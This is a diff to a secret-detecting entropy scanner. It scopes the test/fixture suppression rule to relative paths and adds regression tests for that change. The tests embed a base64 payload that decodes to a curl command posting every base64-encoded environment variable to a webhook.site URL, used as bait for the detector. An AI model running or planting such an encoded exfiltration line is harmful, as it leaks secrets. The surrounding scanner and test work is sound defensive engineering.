diff --git a/scanners/entropy-scanner.mjs b/scanners/entropy-scanner.mjs
index fd9a192..c4201b5 100644
--- a/scanners/entropy-scanner.mjs
+++ b/scanners/entropy-scanner.mjs
@@ -282,9 +282,13 @@ function classifyFileContext(absPath, lines) {
  * @param {string}  absPath  - Absolute file path
  * @param {'shader-dominant'|'markup-dominant'|'code-dominant'|'mixed'} [context='mixed']
  *   File-level classification from classifyFileContext.
+ * @param {string}  [relPath] - Path relative to the scan root. The test/fixture
+ *   rule keys off this, never off absPath: a directory name ABOVE the scan root
+ *   (clone target, parent folder, CI workspace) says nothing about whether the
+ *   scanned file is a fixture, and matching it there silences the whole repo.
  * @returns {boolean}        - true if this string should be skipped
  */
-function isFalsePositive(str, line, absPath, context = 'mixed') {
+function isFalsePositive(str, line, absPath, context = 'mixed', relPath = '') {
   // 1. URLs — entropy is misleading for long query strings / JWTs in URLs
   if (str.startsWith('http://') || str.startsWith('https://')) return true;
 
@@ -305,7 +309,8 @@ function isFalsePositive(str, line, absPath, context = 'mixed') {
   }
 
   // 4. Test/fixture files — intentionally contain example secrets, tokens, etc.
-  if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(absPath)) return true;
+  //    Scoped to the RELATIVE path: see the relPath note above.
+  if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(relPath)) return true;
 
   // 5. UUID patterns
   if (UUID_PATTERN.test(str)) return true;
@@ -477,7 +482,7 @@ function scanFileContent(content, absPath, relPath) {
       if (!str || str.length < 10) continue;
 
       // False positive suppression
-      if (isFalsePositive(str, line, absPath, fileContext)) continue;
+      if (isFalsePositive(str, line, absPath, fileContext, relPath)) continue;
 
       const H = shannonEntropy(str);
       let severity = classifyEntropy(H, str.length);
diff --git a/tests/scanners/entropy-path-suppression.test.mjs b/tests/scanners/entropy-path-suppression.test.mjs
new file mode 100644
index 0000000..46ea5fa
--- /dev/null
+++ b/tests/scanners/entropy-path-suppression.test.mjs
@@ -0,0 +1,102 @@
+// entropy-path-suppression.test.mjs — Regression tests for the test/fixture
+// suppression rule in entropy-scanner.
+//
+// The suppression rule ("this file is a test fixture, example secrets are
+// expected") must key off the path RELATIVE to the scan target. Keying it off
+// the ABSOLUTE path lets a directory name anywhere above the scan root — a
+// clone target, a parent folder, a CI workspace — silence every finding in the
+// whole repository.
+
+import { describe, it, beforeEach, after } from 'node:test';
+import assert from 'node:assert/strict';
+import { join } from 'node:path';
+import { tmpdir } from 'node:os';
+import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises';
+import { resetCounter } from '../../scanners/lib/output.mjs';
+import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
+import { scan } from '../../scanners/entropy-scanner.mjs';
+
+// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18.
+const PAYLOAD =
+  'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
+const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`;
+
+const created = [];
+
+/** Make a scan root whose own directory name contains `marker`. */
+async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) {
+  const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`));
+  created.push(root);
+  await writeFile(join(root, fileName), content, 'utf8');
+  return root;
+}
+
+async function scanRepo(root) {
+  resetCounter();
+  const discovery = await discoverFiles(root);
+  return scan(root, discovery);
+}
+
+after(async () => {
+  for (const dir of created) await rm(dir, { recursive: true, force: true });
+});
+
+describe('entropy-scanner — suppression must not key off the absolute path', () => {
+  let baseline;
+
+  beforeEach(async () => {
+    resetCounter();
+  });
+
+  it('detects the payload under a neutral scan root (control)', async () => {
+    const root = await makeRepo('neutral');
+    baseline = await scanRepo(root);
+    assert.equal(baseline.status, 'ok');
+    assert.ok(
+      baseline.findings.length >= 1,
+      `control must detect the payload, got ${baseline.findings.length} findings`
+    );
+  });
+
+  // Regression: each of these markers appears ONLY in the absolute path of the
+  // scan root, never in the relative path of the scanned file. Before the fix
+  // every one of them silenced the entire scan.
+  for (const marker of ['test', 'spec', 'fixture', 'mock']) {
+    it(`still detects the payload when the scan root contains "${marker}"`, async () => {
+      const root = await makeRepo(marker);
+      const result = await scanRepo(root);
+      assert.equal(result.status, 'ok');
+      assert.ok(
+        result.findings.length >= 1,
+        `scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` +
+        `(root=${root})`
+      );
+      assert.equal(result.findings[0].file, 'app.mjs');
+    });
+  }
+
+  it('still suppresses a file that is genuinely a test file (relative path)', async () => {
+    const root = await makeRepo('neutral2', 'secrets.test.mjs');
+    const result = await scanRepo(root);
+    assert.equal(result.status, 'ok');
+    assert.equal(
+      result.findings.length,
+      0,
+      'a real .test.mjs file must still be suppressed'
+    );
+  });
+
+  it('still suppresses a file inside a relative tests/ directory', async () => {
+    const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-'));
+    created.push(root);
+    await mkdir(join(root, 'tests'), { recursive: true });
+    await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8');
+    const result = await scanRepo(root);
+    assert.equal(result.status, 'ok');
+    assert.equal(
+      result.findings.length,
+      0,
+      'a file under a relative tests/ directory must still be suppressed'
+    );
+  });
+});